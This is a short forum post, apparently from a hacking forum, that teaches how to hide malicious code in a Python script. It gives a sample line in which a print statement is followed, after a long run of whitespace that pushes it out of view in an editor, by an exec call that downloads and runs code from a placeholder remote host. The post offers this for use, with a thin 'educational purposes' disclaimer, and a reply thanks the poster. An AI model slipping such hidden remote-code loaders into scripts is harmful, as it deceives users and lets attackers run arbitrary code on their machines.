Hide (malicious) code in a Python script without offense.

[webzez]

16-03-2024, 02:21 PM Xltec Wrote:

Hello, today I will show you how to hide malicious code in
a Python script, the technique is little known but I don't remember seeing it in the forum. :minion_pepe:

https://bashify.io/i/XP2HyK Here is the code with the hidden code
https://bashify.io/i/R2lL7O The code executed !

The technique:

Spoiler:

So the technique is simple, it consists of hiding a line which will fetch the code from an external server and execute it.

For example the code that I showed in the example is this

import requests
print("Hello world")                                                                                  ;exec(requests.get('XXX.LURL').text)

It's the act of writing a piece of code, then you bombard the TABs like that the part of the code is no longer displayed in the IDE. That's all, I am not responsible for your actions, it is obviously for educational purposes.

thanks for sharing this man